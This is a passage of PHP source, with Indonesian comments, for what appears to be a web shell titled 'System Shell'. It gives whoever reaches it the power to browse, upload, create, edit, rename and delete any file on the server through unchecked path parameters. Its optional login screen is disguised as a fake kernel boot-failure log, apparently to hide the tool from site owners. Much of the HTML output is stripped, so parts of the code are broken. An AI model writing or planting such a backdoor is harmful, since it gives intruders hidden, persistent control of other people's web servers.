[ERROR] $m";
}
return "[STATUS] $m
";
}
return '';
}
// Function to list directory contents (omitted for brevity)
function list_dir($path) {
$items = @scandir($path);
if ($items === false) return [];
$dirs = $files = [];
foreach ($items as $item) {
if ($item === "." || $item === "..") continue;
$full = "$path/$item";
$info = [
'name' => $item,
'path' => $full,
'is_dir' => is_dir($full),
'size' => is_file($full) ? filesize($full) : '-'
];
if ($info['is_dir']) $dirs[] = $info;
else $files[] = $info;
}
usort($dirs, fn($a, $b) => strcasecmp($a['name'], $b['name']));
usort($files, fn($a, $b) => strcasecmp($a['name'], $b['name']));
return array_merge($dirs, $files);
}
// Function to format file size (omitted for brevity)
function formatSize($b) {
if (!is_numeric($b)) return '-';
$u = ['B', 'KB', 'MB', 'GB'];
for ($i = 0; $b >= 1024 && $i < count($u) - 1; $b /= 1024, $i++);
return round($b, 2) . ' ' . $u[$i];
}
// Function to create breadcrumbs (navigation) (omitted for brevity)
function breadcrumbs($path) {
$parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
$full = '';
$out = ['/'];
foreach ($parts as $part) {
if (empty($part)) continue;
$full .= '/' . $part;
$out[] = "$part";
}
return implode("/", $out);
}
// ===== AUTH (Login Screen) =====
// HANYA tampilkan layar login jika file .fs_lock ADA.
if ($auth_required && !isset($_SESSION['unlocked'])) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) {
$hash = file_get_contents($lock_file);
if (password_verify($_POST['pass'], $hash)) {
$_SESSION['unlocked'] = true;
header("Location: ?d=" . urlencode($cwd));
exit;
} else {
$msg = "ACCESS DENIED";
}
}
// --- HTML LOGIN PAGE (TIDAK BERUBAH) ---
echo <<
System Log
[INIT] Starting kernel version 5.10.0-18...
[INFO] Checking memory integrity... OK
[INFO] Booting system services...
[FAIL] Mount /dev/sda1 failed: Permission denied
[FAIL] Network connection timed out.
$msg
HTML;
exit;
}
// ===== ACTIONS (Error Handling Improved) =====
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// --- PERBAIKAN LOGIKA SESI POST ---
// HANYA periksa sesi jika autentikasi diperlukan ($auth_required)
if ($auth_required && !isset($_SESSION['unlocked'])) {
// Redirection yang terjadi ketika sesi terlanjur hilang
header("Location: ?d=" . urlencode($cwd) . "&msg=SECURITY ALERT: SESSION EXPIRED. Please login again.");
exit;
}
// -----------------------------------
// LOGIKA ACTION (UPLOAD, CREATE, EDIT, RENAME, SET/DEL PASS) TIDAK BERUBAH
if (isset($_POST['uploadfile'])) {
$dest = $cwd . '/' . basename($_FILES['uploadfile']['name']);
$ok = @move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "UPLOAD SUCCESS: " . basename($dest) : "UPLOAD FAILED: Check file permissions (CHMOD 777)"));
exit;
}
if (isset($_POST['newfile'])) {
$name = trim($_POST['newfile']);
if (!empty($name)) {
$ok = @file_put_contents($cwd . '/' . $name, $_POST['filedata']);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? "FILE CREATED: $name" : "FILE CREATE FAILED: Check folder permissions"));
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=FILE NAME EMPTY");
}
exit;
}
if (isset($_POST['newfolder'])) {
$name = trim($_POST['newfolder']);
if (!empty($name)) {
$ok = @mkdir($cwd . '/' . $name);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "FOLDER CREATED: $name" : "FOLDER CREATE FAILED: Check parent permissions"));
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=FOLDER NAME EMPTY");
}
exit;
}
if (isset($_POST['setpass'])) {
// Jika password diset, $lock_file dibuat dan $auth_required akan menjadi TRUE di request berikutnya.
if (!empty($_POST['setpass'])) {
@file_put_contents($lock_file, password_hash($_POST['setpass'], PASSWORD_DEFAULT));
$_SESSION['unlocked'] = true; // Langsung beri sesi agar tidak redirect
header("Location: ?d=" . urlencode($cwd) . "&msg=KEY SAVED");
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=KEY FIELD EMPTY");
}
exit;
}
if (isset($_POST['editfile'])) {
$ok = @file_put_contents($_POST['filepath'], $_POST['filedata']);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? "FILE SAVED" : "FILE SAVE FAILED: Check permissions"));
exit;
}
if (isset($_POST['rename'])) {
$old = $_POST['old'];
$new_name = basename(trim($_POST['new']));
if (!empty($new_name)) {
$new = dirname($old) . '/' . $new_name;
$ok = @rename($old, $new);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "RENAME SUCCESS" : "RENAME FAILED: Check permissions"));
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=RENAME NAME EMPTY");
}
exit;
}
if (isset($_POST['delpass'])) {
// Jika password dihapus, hapus sesi agar kembali ke mode "no-password"
if (file_exists($lock_file)) @unlink($lock_file);
unset($_SESSION['unlocked']);
header("Location: ?d=" . urlencode($cwd) . "&msg=KEY REMOVED");
exit;
}
}
if (isset($_GET['delete'])) {
// --- PERBAIKAN LOGIKA SESI DELETE ---
// HANYA periksa sesi jika autentikasi diperlukan ($auth_required)
if ($auth_required && !isset($_SESSION['unlocked'])) {
header("Location: ?d=" . urlencode($cwd) . "&msg=SECURITY ALERT: SESSION EXPIRED. Please login again.");
exit;
}
// -----------------------------------
$target = $_GET['delete'];
$ok = is_dir($target) ? @rmdir($target) : @unlink($target);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "DELETE SUCCESS" : "DELETE FAILED: Check permissions"));
exit;
}
// ===== EDIT PAGE (Minimalist Log Theme) (TIDAK BERUBAH) =====
if (isset($_GET['edit'])) {
$f = $_GET['edit'];
$data = @file_get_contents($f);
$data = htmlspecialchars($data ?: "ERROR: Could not read file.");
echo "
Edit
[EDIT] FILE: " . basename($f) . "
";
exit;
}
// ===== MAIN UI (Minimalist Log Theme) (TIDAK BERUBAH) =====
echo "System Shell
";
echo "";
echo show_msg($msg);
if (isset($_GET['action'])) {
echo "<< BACK
";
if ($_GET['action'] === 'create_file') {
echo "[ACTION] CREATE NEW FILE
";
echo "";
} elseif ($_GET['action'] === 'create_dir') {
echo "[ACTION] CREATE NEW FOLDER
";
echo "";
} elseif ($_GET['action'] === 'password') {
echo "[ACTION] AUTHORIZATION KEY MANAGEMENT
";
echo "
";
}
exit;
}
echo "[INFO] DIRECTORY LISTING:
";
echo "";
echo "";
echo "| TYPE | NAME | SIZE | ACTIONS |
";
foreach (list_dir($cwd) as $i) {
$n = htmlspecialchars($i['name']);
$p = $i['path'];
if ($i['is_dir']) {
$display_name = "[DIR] $n";
} else {
$display_name = "[FILE] $n";
}
echo "| " . ($i['is_dir'] ? 'D' : 'F') . " | ";
echo "" . $display_name . " | ";
echo "" . formatSize($i['size']) . " | ";
echo "
|
";
}
echo "
";
?>